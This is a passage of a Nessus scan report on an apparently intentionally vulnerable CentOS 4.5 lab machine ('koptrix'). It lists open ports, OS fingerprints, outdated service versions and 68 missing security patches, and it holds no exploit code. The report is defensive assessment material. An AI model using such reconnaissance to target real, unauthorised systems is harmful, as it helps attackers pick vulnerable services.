Note: The output for this plugin can be very long, and is not shown by default. To display it, enable verbose reporting in scan settings.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2013/02/13, Modified: 2023/05/23

Plugin Output

tcp/0

14272 - Netstat Portscanner (SSH)

Synopsis

Remote open ports can be enumerated via SSH.

Description

Nessus was able to run 'netstat' on the remote host to enumerate the open ports. If 'netstat' is not available, the plugin will attempt to use 'ss'.

See the section 'plugins options' about configuring this plugin.

Note: This plugin will run on Windows (using netstat.exe) in the event that the target being scanned is localhost.

See Also

<https://en.wikipedia.org/wiki/Netstat>

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2004/08/15, Modified: 2025/05/27

Plugin Output

tcp/22/ssh

Port 22/tcp was found to be open

14272 - Netstat Portscanner (SSH)

Synopsis

Remote open ports can be enumerated via SSH.

Description

Nessus was able to run 'netstat' on the remote host to enumerate the open ports. If 'netstat' is not available, the plugin will attempt to use 'ss'.

See the section 'plugins options' about configuring this plugin.

Note: This plugin will run on Windows (using netstat.exe) in the event that the target being scanned is localhost.

See Also

<https://en.wikipedia.org/wiki/Netstat>

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2004/08/15, Modified: 2025/05/27

Plugin Output

udp/68

Port 68/udp was found to be open

14272 - Netstat Portscanner (SSH)

Synopsis

Remote open ports can be enumerated via SSH.

Description

Nessus was able to run 'netstat' on the remote host to enumerate the open ports. If 'netstat' is not available, the plugin will attempt to use 'ss'.

See the section 'plugins options' about configuring this plugin.

Note: This plugin will run on Windows (using netstat.exe) in the event that the target being scanned is localhost.

See Also

<https://en.wikipedia.org/wiki/Netstat>

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2004/08/15, Modified: 2025/05/27

Plugin Output

tcp/80/www

Port 80/tcp was found to be open

14272 - Netstat Portscanner (SSH)

Synopsis

Remote open ports can be enumerated via SSH.

Description

Nessus was able to run 'netstat' on the remote host to enumerate the open ports. If 'netstat' is not available, the plugin will attempt to use 'ss'.

See the section 'plugins options' about configuring this plugin.

Note: This plugin will run on Windows (using netstat.exe) in the event that the target being scanned is localhost.

See Also

<https://en.wikipedia.org/wiki/Netstat>

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2004/08/15, Modified: 2025/05/27

Plugin Output

tcp/111/rpc-portmapper

Port 111/tcp was found to be open

14272 - Netstat Portscanner (SSH)

Synopsis

Remote open ports can be enumerated via SSH.

Description

Nessus was able to run 'netstat' on the remote host to enumerate the open ports. If 'netstat' is not available, the plugin will attempt to use 'ss'.

See the section 'plugins options' about configuring this plugin.

Note: This plugin will run on Windows (using netstat.exe) in the event that the target being scanned is localhost.

See Also

<https://en.wikipedia.org/wiki/Netstat>

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2004/08/15, Modified: 2025/05/27

Plugin Output

udp/111/rpc-portmapper

Port 111/udp was found to be open

14272 - Netstat Portscanner (SSH)

Synopsis

Remote open ports can be enumerated via SSH.

Description

Nessus was able to run 'netstat' on the remote host to enumerate the open ports. If 'netstat' is not available, the plugin will attempt to use 'ss'.

See the section 'plugins options' about configuring this plugin.

Note: This plugin will run on Windows (using netstat.exe) in the event that the target being scanned is localhost.

See Also

<https://en.wikipedia.org/wiki/Netstat>

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2004/08/15, Modified: 2025/05/27

Plugin Output

tcp/443/www

Port 443/tcp was found to be open

14272 - Netstat Portscanner (SSH)

Synopsis

Remote open ports can be enumerated via SSH.

Description

Nessus was able to run 'netstat' on the remote host to enumerate the open ports. If 'netstat' is not available, the plugin will attempt to use 'ss'.

See the section 'plugins options' about configuring this plugin.

Note: This plugin will run on Windows (using netstat.exe) in the event that the target being scanned is localhost.

See Also

<https://en.wikipedia.org/wiki/Netstat>

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2004/08/15, Modified: 2025/05/27

Plugin Output

tcp/631/www

Port 631/tcp was found to be open

14272 - Netstat Portscanner (SSH)

Synopsis

Remote open ports can be enumerated via SSH.

Description

Nessus was able to run 'netstat' on the remote host to enumerate the open ports. If 'netstat' is not available, the plugin will attempt to use 'ss'.

See the section 'plugins options' about configuring this plugin.

Note: This plugin will run on Windows (using netstat.exe) in the event that the target being scanned is localhost.

See Also

<https://en.wikipedia.org/wiki/Netstat>

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2004/08/15, Modified: 2025/05/27

Plugin Output

udp/631

Port 631/udp was found to be open

14272 - Netstat Portscanner (SSH)

Synopsis

Remote open ports can be enumerated via SSH.

Description

Nessus was able to run 'netstat' on the remote host to enumerate the open ports. If 'netstat' is not available, the plugin will attempt to use 'ss'.

See the section 'plugins options' about configuring this plugin.

Note: This plugin will run on Windows (using netstat.exe) in the event that the target being scanned is localhost.

See Also

<https://en.wikipedia.org/wiki/Netstat>

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2004/08/15, Modified: 2025/05/27

Plugin Output

udp/992

Port 992/udp was found to be open

14272 - Netstat Portscanner (SSH)

Synopsis

Remote open ports can be enumerated via SSH.

Description

Nessus was able to run 'netstat' on the remote host to enumerate the open ports. If 'netstat' is not available, the plugin will attempt to use 'ss'.

See the section 'plugins options' about configuring this plugin.

Note: This plugin will run on Windows (using netstat.exe) in the event that the target being scanned is localhost.

See Also

<https://en.wikipedia.org/wiki/Netstat>

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2004/08/15, Modified: 2025/05/27

Plugin Output

udp/995/rpc-status

Port 995/udp was found to be open

14272 - Netstat Portscanner (SSH)

Synopsis

Remote open ports can be enumerated via SSH.

Description

Nessus was able to run 'netstat' on the remote host to enumerate the open ports. If 'netstat' is not available, the plugin will attempt to use 'ss'.

See the section 'plugins options' about configuring this plugin.

Note: This plugin will run on Windows (using netstat.exe) in the event that the target being scanned is localhost.

See Also

<https://en.wikipedia.org/wiki/Netstat>

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2004/08/15, Modified: 2025/05/27

Plugin Output

tcp/998/rpc-status

Port 998/tcp was found to be open

14272 - Netstat Portscanner (SSH)**Synopsis**

Remote open ports can be enumerated via SSH.

Description

Nessus was able to run 'netstat' on the remote host to enumerate the open ports. If 'netstat' is not available, the plugin will attempt to use 'ss'.

See the section 'plugins options' about configuring this plugin.

Note: This plugin will run on Windows (using netstat.exe) in the event that the target being scanned is localhost.

See Also

<https://en.wikipedia.org/wiki/Netstat>

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2004/08/15, Modified: 2025/05/27

Plugin Output

tcp/3306/mysql

Port 3306/tcp was found to be open

209654 - OS Fingerprints Detected**Synopsis**

Multiple OS fingerprints were detected.

Description

Using a combination of remote probes (TCP/IP, SMB, HTTP, NTP, SNMP, etc), it was possible to gather one or more fingerprints from the remote system. While the highest-confidence result was reported in plugin 11936, "OS Identification", the complete set of fingerprints detected are reported here.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2025/02/26, Modified: 2025/03/03

Plugin Output

tcp/0

Following OS Fingerprints were found

Remote operating system : Cisco IMC
 Confidence level : 56
 Method : MLSinFP
 Type : unknown
 Fingerprint : unknown

Remote operating system : Linux Kernel 2.6.9-55.EL
 Confidence level : 99
 Method : uname
 Type : general-purpose
 Fingerprint : uname:Linux koptrix.level2 2.6.9-55.EL #1 Wed May 2 13:52:16 EDT 2007 i686 athlon i386 GNU/Linux

Remote operating system : Linux Kernel 2.6 on CentOS release 4
 Confidence level : 95
 Method : HTTP
 Type : general-purpose
 Fingerprint : unknown

Remote operating system : Linux Kernel 2.6
 Dell iDRAC Controller
 KYOCERA Printer
 Confidence level : 59
 Method : SinFP
 Type :
 Fingerprint : SinFP:
 P1:B10113:F0x12:W5840:00204ffff:M1460:
 P2:B10113:F0x12:W5792:00204ffff0402080afffffff4445414401030302:M1460:
 P3:B00000:F0x00:W0:00:M0
 P4:191303_7_p=22

Remote operating system : Linux Kernel 2.6.9-55.EL on CentOS release 4.5 (Final)
 Confidence level : 100
 Method : LinuxDistribution
 Type : general-purpose
 Fingerprint : unknown

Following fingerprints could not be used to determine OS :
 SSH:!SSH-1.99-OpenSSH_3.9p1
 SSLcert:!iCN:localhost.localdomaini/O:SomeOrganizationi/OU:SomeOrganizationalUnits/CN:localhost.localdomains/O:SomeOrganizations/O
 U:SomeOrganizationalUnit
 560c91966506fb0ffb8166b1ded3ac112ed4808a

11936 - OS Identification**Synopsis**

It is possible to guess the remote operating system.

Description

Using a combination of remote probes (e.g., TCP/IP, SMB, HTTP, NTP, SNMP, etc.), it is possible to guess the name of the remote operating system in use. It is also possible sometimes to guess the version of the operating system.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2003/12/09, Modified: 2025/06/03

Plugin Output

tcp/0

Remote operating system : Linux Kernel 2.6.9-55.EL on CentOS release 4.5 (Final)
 Confidence level : 100
 Method : LinuxDistribution

The remote host is running Linux Kernel 2.6.9-55.EL on CentOS release 4.5 (Final)

97993 - OS Identification and Installed Software Enumeration over SSH v2 (Using New SSH Library)**Synopsis**

Information about the remote host can be disclosed via an authenticated session.

Description

Nessus was able to login to the remote host using SSH or local commands and extract the list of installed packages.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2017/05/30, Modified: 2025/02/11

Plugin Output

tcp/0

It was possible to log into the remote host via SSH using 'password' authentication.

The output of "uname -a" is :

Linux kkoptrix.level2 2.6.9-55.EL #1 Wed May 2 13:52:16 EDT 2007 i686 athlon i386 GNU/Linux

Local checks have been enabled for this host.

The remote CentOS system is :

CentOS release 4.5 (Final)

OS Security Patch Assessment is available for this host.

Runtime : 10.773812 seconds

117887 - OS Security Patch Assessment Available**Synopsis**

Nessus was able to log in to the remote host using the provided credentials and enumerate OS security patch levels.

Description

Nessus was able to determine OS security patch levels by logging into the remote host and running commands to determine the version of the operating system and its components. The remote host was identified as an operating system or device that Nessus supports for patch and update assessment. The necessary information was obtained to perform these checks.

Solution

n/a

Risk Factor

None

References

XREF IAVB:0001-B-0516

Plugin Information

Published: 2018/10/02, Modified: 2021/07/12

Plugin Output

tcp/0

OS Security Patch Assessment is available.

Account : root

Protocol : SSH

181418 - OpenSSH Detection**Synopsis**

An OpenSSH-based SSH server was detected on the remote host.

Description

An OpenSSH-based SSH server was detected on the remote host.

See Also

<https://www.openssh.com/>

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2023/09/14, Modified: 2025/08/19

Plugin Output

tcp/22/ssh

```
Service : ssh
Version : 3.9p1
Banner : SSH-1.99-OpenSSH_3.9p1
```

168007 - OpenSSL Installed (Linux)

Synopsis

OpenSSL was detected on the remote Linux host.

Description

OpenSSL was detected on the remote Linux host.

The plugin timeout can be set to a custom value other than the plugin's default of 15 minutes via the 'timeout.168007' scanner setting in Nessus 8.15.1 or later.

Please see <https://docs.tenable.com/nessus/Content/SettingsAdvanced.htm#Custom> for more information.

Note: This plugin leverages the '-maxdepth' find command option, which is a feature implemented by the GNU find binary. If the target does not support this option, such as HP-UX and AIX devices, users will need to enable 'thorough tests' in their scan policy to run the find command without using a '-maxdepth' argument.

See Also

<https://openssl.org/>

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2022/11/21, Modified: 2025/07/28

Plugin Output

tcp/0

```
Path : openssl-0.9.7a-43.16 (via package manager)
Version : 0.9.7a
Managed by OS : True
```

48243 - PHP Version Detection

Synopsis

It was possible to obtain the version number of the remote PHP installation.

Description

Nessus was able to determine the version of PHP available on the remote web server.

Solution

n/a

Risk Factor

None

References

XREF IAVT:0001-T-0936

Plugin Information

Published: 2010/08/04, Modified: 2025/05/26

Plugin Output

tcp/80/www

Nessus was able to identify the following PHP version information :

Version : 4.3.9
Source : X-Powered-By: PHP/4.3.9

48243 - PHP Version Detection

Synopsis

It was possible to obtain the version number of the remote PHP installation.

Description

Nessus was able to determine the version of PHP available on the remote web server.

Solution

n/a

Risk Factor

None

References

XREF IAVT:0001-T-0936

Plugin Information

Published: 2010/08/04, Modified: 2025/05/26

Plugin Output

tcp/443/www

Nessus was able to identify the following PHP version information :

Version : 4.3.9
Source : X-Powered-By: PHP/4.3.9

179139 - Package Manager Packages Report (nix)

Synopsis

Reports details about packages installed via package managers.

Description

Reports details about packages installed via package managers

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2023/08/01, Modified: 2025/05/07

Plugin Output

tcp/0

Successfully retrieved and stored package data.

66334 - Patch Report**Synopsis**

The remote host is missing several patches.

Description

The remote host is missing one or more security patches. This plugin lists the newest version of each patch to install to make sure the remote host is up-to-date.

Note: Because the 'Show missing patches that have been superseded' setting in your scan policy depends on this plugin, it will always run and cannot be disabled.

Solution

Install the patches listed below.

Risk Factor

None

Plugin Information

Published: 2013/07/08, Modified: 2025/08/12

Plugin Output

tcp/0

. You need to take the following 68 actions :

```
[ CentOS 3 / 4 / 5 : acpid (CESA-2009:0474) (38903) ]
+ Action to take : Update the affected acpid package.

[ CentOS 3 / 4 / 5 : bzip2 (CESA-2010:0703) (49633) ]
+ Action to take : Update the affected bzip2 packages.
+Impact : Taking this action will resolve 2 different vulnerabilities (CVEs).

[ CentOS 3 / 4 / 5 : e2fsprogs (CESA-2008:0003) (29901) ]
+ Action to take : Update the affected e2fsprogs packages.

[ CentOS 3 / 4 / 5 : ed (CESA-2008:0946) (34463) ]
+ Action to take : Update the affected ed package.

[ CentOS 3 / 4 / 5 : expat (CESA-2009:1625) (43031) ]
+ Action to take : Update the affected expat packages.
+Impact : Taking this action will resolve 2 different vulnerabilities (CVEs).

[ CentOS 3 / 4 / 5 : gcc / gcc4 (CESA-2010:0039) (44027) ]
+ Action to take : Update the affected gcc and / or gcc4 packages.
```

```
[ CentOS 3 / 4 / 5 : gzip (CESA-2010:0061) (44098) ]
+ Action to take : Update the affected gzip package.

[ CentOS 3 / 4 / 5 : libtool (CESA-2009:1646) (43070) ]
+ Action to take : Update the affected libtool packages.

[ CentOS 3 / 4 / 5 : libxslt (CESA-2008:0287) (32401) ]
+ Action to take : Update the affected libxslt packages.

[ CentOS 3 / 4 / 5 : mod_perl (CESA-2007:0395) (25526) ]
+ Action to take : Update the affected mod_perl packages.

[ CentOS 3 / 4 / 5 : net-snmp (CESA-2008:0529) (33142) ]
+ Action to take : Update the affected net-snmp packages.
+Impact : Taking this action will resolve 2 different vulnerabilities (CVEs).

[ CentOS 3 / 4 / 5 : newt (CESA-2009:1463) (41627) ]
+ Action to take : Update the affected newt packages.

[ CentOS 3 / 4 / 5 : pango (CESA-2010:0140) (45066) ]
+ Action to take : Update the affected pango packages.
+Impact : Taking this action will resolve 2 different vulnerabilities (CVEs).

[ CentOS 3 / 4 / 5 : qt (CESA-2007:0883) (26028) ]
+ Action to take : Update the affected qt packages.
+Impact : Taking this action will resolve 3 different vulnerabilities (CVEs).

[ CentOS 3 / 4 / 5 : squid (CESA-2008:0214) (31947) ]
+ Action to take : Update the affected squid package.
+Impact : Taking this action will resolve 2 different vulnerabilities (CVEs).

[ CentOS 3 / 4 / 5 : vixie-cron (CESA-2007:0345) (25254) ]
+ Action to take : Update the affected vixie-cron package.

[ CentOS 3 / 4 / 5 : wget (CESA-2009:1549) (67069) ]
+ Action to take : Update the affected wget package.

[ CentOS 3 / 4 : 4Suite (CESA-2009:1572) (67072) ]
+ Action to take : Update the affected 4suite package.

[ CentOS 3 / 4 : gnome-vfs2 (CESA-2009:0005) (35311) ]
+ Action to take : Update the affected gnome-vfs2 packages.

[ CentOS 3 / 4 : vim (CESA-2008:0617) (37794) ]
+ Action to take : Update the affected vim packages.
+Impact : Taking this action will resolve 4 different vulnerabilities (CVEs).

[ CentOS 4 / 5 / 6 : libpng / libpng10 (CESA-2012:0317) (58042) ]
+ Action to take : Update the affected libpng and / or libpng10 packages.
+Impact : Taking this action will resolve 11 different vulnerabilities (CVEs).

[ CentOS 4 / 5 / 6 : libvorbis (CESA-2012:0136) (57962) ]
+ Action to take : Update the affected libvorbis packages.
+Impact : Taking this action will resolve 10 different vulnerabilities (CVEs).
```

```
[ CentOS 4 / 5 / 6 : php (CESA-2012:0093) (57808) ]
+ Action to take : Update the affected php packages.
+Impact : Taking this action will resolve 19 different vulnerabilities (CVEs).

[ CentOS 4 / 5 : PyXML (CESA-2010:0002) (43624) ]
+ Action to take : Update the affected pyxml package.

[ CentOS 4 / 5 : apr (CESA-2011:0844) (54938) ]
+ Action to take : Update the affected apr packages.
+Impact : Taking this action will resolve 2 different vulnerabilities (CVEs).

[ CentOS 4 / 5 : curl (CESA-2011:0918) (55515) ]
+ Action to take : Update the affected curl packages.
+Impact : Taking this action will resolve 3 different vulnerabilities (CVEs).

[ CentOS 4 / 5 : dhcp (CESA-2011:1160) (55860) ]
+ Action to take : Update the affected dhcp packages.
+Impact : Taking this action will resolve 3 different vulnerabilities (CVEs).

[ CentOS 4 / 5 : file (CESA-2007:0391) (25355) ]
+ Action to take : Update the affected file package.

[ CentOS 4 / 5 : freetype (CESA-2011:1455) (56878) ]
+ Action to take : Update the affected freetype packages.
+Impact : Taking this action will resolve 19 different vulnerabilities (CVEs).

[ CentOS 4 / 5 : gd (CESA-2010:0003) (43625) ]
+ Action to take : Update the affected gd packages.
+Impact : Taking this action will resolve 8 different vulnerabilities (CVEs).

[ CentOS 4 / 5 : httpd (CESA-2011:1392) (56570) ]
+ Action to take : Update the affected httpd packages.
+Impact : Taking this action will resolve 16 different vulnerabilities (CVEs).

[ CentOS 4 / 5 : krb5 (CESA-2011:1851) (57405) ]
+ Action to take : Update the affected krb5 packages.
+Impact : Taking this action will resolve 17 different vulnerabilities (CVEs).

[ CentOS 4 / 5 : libtiff (CESA-2011:0318) (52510) ]
+ Action to take : Update the affected libtiff packages.

[ CentOS 4 / 5 : libtiff (CESA-2011:0392) (53239) ]
+ Action to take : Update the affected libtiff packages.
+Impact : Taking this action will resolve 7 different vulnerabilities (CVEs).

[ CentOS 4 / 5 : libuser (CESA-2011:0170) (51885) ]
+ Action to take : Update the affected libuser packages.

[ CentOS 4 / 5 : ntp (CESA-2009:1648) (43071) ]
+ Action to take : Update the affected ntp package.
```

```
[ CentOS 4 / 5 : perl (CESA-2011:1797) (57068) ]
+ Action to take : Update the affected perl packages.
+Impact : Taking this action will resolve 5 different vulnerabilities (CVEs).
```

```
[ CentOS 4 / 5 : rpm (CESA-2011:1349) (56380) ]
+ Action to take : Update the affected rpm packages.
+Impact : Taking this action will resolve 4 different vulnerabilities (CVEs).
```

```
[ CentOS 4 / 5 : samba (CESA-2011:1219) (55997) ]
+ Action to take : Update the affected samba packages.
+Impact : Taking this action will resolve 11 different vulnerabilities (CVEs).
```

```
[ CentOS 4 / 5 : tar (CESA-2010:0141) (45067) ]
+ Action to take : Update the affected tar package.
+Impact : Taking this action will resolve 3 different vulnerabilities (CVEs).
```

```
[ CentOS 4 / 5 : tog-pegaus (CESA-2008:0002) (29931) ]
+ Action to take : Update the affected tog-pegaus packages.
```

```
[ CentOS 4 / 5 : vsftpd (CESA-2011:0337) (52617) ]
+ Action to take : Update the affected vsftpd package.
```

```
[ CentOS 4 / 5 : wireshark (CESA-2008:0058) (43670) ]
+ Action to take : Update the affected wireshark packages.
+Impact : Taking this action will resolve 16 different vulnerabilities (CVEs).
```

```
[ CentOS 4 / 5 : wireshark (CESA-2011:0370) (52757) ]
+ Action to take : Update the affected wireshark packages.
+Impact : Taking this action will resolve 49 different vulnerabilities (CVEs).
```

```
[ CentOS 4 / 5 : xmlsec1 (CESA-2011:0486) (53813) ]
+ Action to take : Update the affected xmlsec1 packages.
+Impact : Taking this action will resolve 2 different vulnerabilities (CVEs).
```

```
[ CentOS 4 : NetworkManager (CESA-2009:0362) (38895) ]
+ Action to take : Update the affected networkmanager packages.
+Impact : Taking this action will resolve 2 different vulnerabilities (CVEs).
```

```
[ CentOS 4 : apr-util (CESA-2010:0950) (51776) ]
+ Action to take : Update the affected apr-util packages.
```

```
[ CentOS 4 : bind (CESA-2011:1496) (56973) ]
+ Action to take : Update the affected bind packages.
+Impact : Taking this action will resolve 17 different vulnerabilities (CVEs).
```

```
[ CentOS 4 : cpio (CESA-2010:0143) (45089) ]
+ Action to take : Update the affected cpio package.
```

```
[ CentOS 4 : cups (CESA-2010:0755) (49814) ]
+ Action to take : Update the affected cups packages.
+Impact : Taking this action will resolve 37 different vulnerabilities (CVEs).
```

```
[ CentOS 4 : cyrus-sasl (CESA-2007:0795) (26004) ]
+ Action to take : Update the affected cyrus-sasl packages.

[ CentOS 4 : glibc (CESA-2012:0125) (57923) ]
+ Action to take : Update the affected glibc packages.
+Impact : Taking this action will resolve 9 different vulnerabilities (CVEs).

[ CentOS 4 : gnutls (CESA-2010:0167) (45366) ]
+ Action to take : Update the affected gnutls packages.
+Impact : Taking this action will resolve 6 different vulnerabilities (CVEs).

[ CentOS 4 : kernel (CESA-2010:0936) (51775) ]
+ Action to take : Update the affected kernel packages.
+Impact : Taking this action will resolve 12 different vulnerabilities (CVEs).

[ CentOS 4 : kernel (CESA-2011:0162) (51786) ]
+ Action to take : Update the affected kernel packages.
+Impact : Taking this action will resolve 121 different vulnerabilities (CVEs).

[ CentOS 4 : libxml2 (CESA-2012:0016) (57486) ]
+ Action to take : Update the affected libxml2 packages.
+Impact : Taking this action will resolve 7 different vulnerabilities (CVEs).

[ CentOS 4 : mysql (CESA-2010:0824) (50805) ]
+ Action to take : Update the affected mysql packages.
+Impact : Taking this action will resolve 9 different vulnerabilities (CVEs).

[ CentOS 4 : nfs-utils-lib (CESA-2007:0913) (26077) ]
+ Action to take : Update the affected nfs-utils-lib packages.

[ CentOS 4 : openldap (CESA-2010:0543) (47790) ]
+ Action to take : Update the affected openldap packages.
+Impact : Taking this action will resolve 5 different vulnerabilities (CVEs).

[ CentOS 4 : openssl (CESA-2012:0086) (57806) ]
+ Action to take : Update the affected openssl packages.
+Impact : Taking this action will resolve 19 different vulnerabilities (CVEs).

[ CentOS 4 : pcres (CESA-2007:1052) (37163) ]
+ Action to take : Update the affected pcres packages.
+Impact : Taking this action will resolve 3 different vulnerabilities (CVEs).

[ CentOS 4 : python (CESA-2011:0491) (53814) ]
+ Action to take : Update the affected python packages.
+Impact : Taking this action will resolve 6 different vulnerabilities (CVEs).

[ CentOS 4 : samba (CESA-2012:0332) (58109) ]
+ Action to take : Update the affected samba packages.
+Impact : Taking this action will resolve 6 different vulnerabilities (CVEs).
```

```
[ CentOS 4 : systemtap (CESA-2010:0895) (50810) ]
+ Action to take : Update the affected systemtap packages.
+Impact : Taking this action will resolve 3 different vulnerabilities (CVEs).
```

```
[ CentOS 4 : tk (CESA-2008:0135) (31140) ]
+ Action to take : Update the affected tk packages.
+Impact : Taking this action will resolve 2 different vulnerabilities (CVEs).
```

```
[ CentOS 4 : xorg-x11 (CESA-2011:1360) (56780) ]
+ Action to take : Update the affected xorg-x11 packages.
+Impact : Taking this action will resolve 16 different vulnerabilities (CVEs).
```

```
[ OpenSSL SSL_OP_NETSCAPE_REUSE_CIPHER_CHANGE_BUG Session Resume Ciphersuite Downgrade Issue (51892) ]
+ Action to take : Upgrade to OpenSSL 0.9.8q / 1.0.0.c or later, or contact your vendor for a patch.
```

```
[ PHP < 5.3.12 / 5.4.2 CGI Query String Code Execution (58988) ]
+ Action to take : Upgrade to PHP version 5.3.12 / 5.4.2 or later. A 'mod_rewrite' workaround is available as well.
+Impact : Taking this action will resolve 58 different vulnerabilities (CVEs).
```

11111 - RPC Services Enumeration

Synopsis

An ONC RPC service is running on the remote host.

Description

By sending a DUMP request to the portmapper, it was possible to enumerate the ONC RPC services running on the remote port. Using this information, it is possible to connect and bind to each service by sending an RPC request to the remote port.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2002/08/24, Modified: 2011/05/24

Plugin Output

tcp/111/rpc-portmapper

The following RPC services are available on TCP port 111 :

- program: 100000 (portmapper), version: 2

11111 - RPC Services Enumeration

Synopsis

An ONC RPC service is running on the remote host.

Description

By sending a DUMP request to the portmapper, it was possible to enumerate the ONC RPC services running on the remote port. Using this information, it is possible to connect and bind to each service by sending an RPC request to the remote port.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2002/08/24, Modified: 2011/05/24

Plugin Output

udp/111/rpc-portmapper

The following RPC services are available on UDP port 111 :

- program: 100000 (portmapper), version: 2

11111 - RPC Services Enumeration

Synopsis

An ONC RPC service is running on the remote host.

Description

By sending a DUMP request to the portmapper, it was possible to enumerate the ONC RPC services running on the remote port. Using this information, it is possible to connect and bind to each service by sending an RPC request to the remote port.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2002/08/24, Modified: 2011/05/24

Plugin Output

udp/995/rpc-status

The following RPC services are available on UDP port 995 :

- program: 100024 (status), version: 1

11111 - RPC Services Enumeration

Synopsis

An ONC RPC service is running on the remote host.

Description

By sending a DUMP request to the portmapper, it was possible to enumerate the ONC RPC services running on the remote port. Using this information, it is possible to connect and bind to each service by sending an RPC request to the remote port.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2002/08/24, Modified: 2011/05/24

Plugin Output

tcp/998/rpc-status

The following RPC services are available on TCP port 998 :

- program: 100024 (status), version: 1

53335 - RPC portmapper (TCP)

Synopsis

An ONC RPC portmapper is running on the remote host.

Description

The RPC portmapper is running on this port.

The portmapper allows someone to get the port number of each RPC service running on the remote host by sending either multiple lookup requests or a DUMP request.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2011/04/08, Modified: 2011/08/29

Plugin Output

tcp/111/rpc-portmapper

10223 - RPC portmapper Service Detection

Synopsis

An ONC RPC portmapper is running on the remote host.

Description

The RPC portmapper is running on this port.

The portmapper allows someone to get the port number of each RPC service running on the remote host by sending either multiple lookup requests or a DUMP request.

Solution

n/a

Risk Factor

None

CVSS v3.0 Base Score

0.0 (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N)

CVSS v2.0 Base Score

0.0 (CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:N)

References

CVE CVE-1999-0632

Plugin Information

Published: 1999/08/19, Modified: 2019/10/04

Plugin Output

udp/111/rpc-portmapper

45405 - Reachable IPv6 address

Synopsis

The remote host may be reachable from the Internet.

Description

Although this host was scanned through a private IPv4 or local scope IPv6 address, some network interfaces are configured with global scope IPv6 addresses. Depending on the configuration of the firewalls and routers, this host may be reachable from Internet.

Solution

Disable IPv6 if you do not actually using it.

Otherwise, disable any unused IPv6 interfaces and implement IP filtering if needed.

Risk Factor

None

Plugin Information

Published: 2010/04/02, Modified: 2024/07/24

Plugin Output

tcp/0

The following global address was gathered :

- 2409:40c0:5f:f7ef:20c:29ff:fe53:194c

25221 - Remote listeners enumeration (Linux / AIX)

Synopsis

Using the supplied credentials, it was possible to identify the process listening on the remote port.

Description

By logging into the remote host with the supplied credentials, Nessus was able to obtain the name of the process listening on the remote port.

Note that the method used by this plugin only works for hosts running Linux or AIX.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2007/05/16, Modified: 2024/07/05

Plugin Output

tcp/22/ssh

```
Process ID : 2672
Executable : /usr/sbin/sshd
Command line : /usr/sbin/sshd
```

25221 - Remote listeners enumeration (Linux / AIX)

Synopsis

Using the supplied credentials, it was possible to identify the process listening on the remote port.

Description

By logging into the remote host with the supplied credentials, Nessus was able to obtain the name of the process listening on the remote port.

Note that the method used by this plugin only works for hosts running Linux or AIX.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2007/05/16, Modified: 2024/07/05

Plugin Output

udp/68

```
Process ID : 3066
Executable : /sbin/dhclient
Command line : dhclient
```

25221 - Remote listeners enumeration (Linux / AIX)**Synopsis**

Using the supplied credentials, it was possible to identify the process listening on the remote port.

Description

By logging into the remote host with the supplied credentials, Nessus was able to obtain the name of the process listening on the remote port.

Note that the method used by this plugin only works for hosts running Linux or AIX.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2007/05/16, Modified: 2024/07/05

Plugin Output

tcp/80/www

```
Process ID : 3068
Executable : /usr/sbin/httpd
Command line : httpd
```

25221 - Remote listeners enumeration (Linux / AIX)**Synopsis**

Using the supplied credentials, it was possible to identify the process listening on the remote port.

Description

By logging into the remote host with the supplied credentials, Nessus was able to obtain the name of the process listening on the remote port.

Note that the method used by this plugin only works for hosts running Linux or AIX.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2007/05/16, Modified: 2024/07/05

Plugin Output

tcp/111/rpc-portmapper

```
Process ID : 2493
Executable : /sbin/portmap
Command line : portmap
```

25221 - Remote listeners enumeration (Linux / AIX)

Synopsis

Using the supplied credentials, it was possible to identify the process listening on the remote port.

Description

By logging into the remote host with the supplied credentials, Nessus was able to obtain the name of the process listening on the remote port.

Note that the method used by this plugin only works for hosts running Linux or AIX.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2007/05/16, Modified: 2024/07/05

Plugin Output

udp/111/rpc-portmapper

```
Process ID : 2493
Executable : /sbin/portmap
Command line : portmap
```

25221 - Remote listeners enumeration (Linux / AIX)

Synopsis

Using the supplied credentials, it was possible to identify the process listening on the remote port.

Description

By logging into the remote host with the supplied credentials, Nessus was able to obtain the name of the process listening on the remote port.

Note that the method used by this plugin only works for hosts running Linux or AIX.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2007/05/16, Modified: 2024/07/05

Plugin Output

tcp/443/www

```
Process ID : 3068
Executable : /usr/sbin/httpd
Command line : httpd
```

25221 - Remote listeners enumeration (Linux / AIX)

Synopsis

Using the supplied credentials, it was possible to identify the process listening on the remote port.

Description

By logging into the remote host with the supplied credentials, Nessus was able to obtain the name of the process listening on the remote port.

Note that the method used by this plugin only works for hosts running Linux or AIX.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2007/05/16, Modified: 2024/07/05

Plugin Output

tcp/631/www

```
Process ID : 4134
Executable : /usr/sbin/cupsd
Command line : cupsd
```

25221 - Remote listeners enumeration (Linux / AIX)**Synopsis**

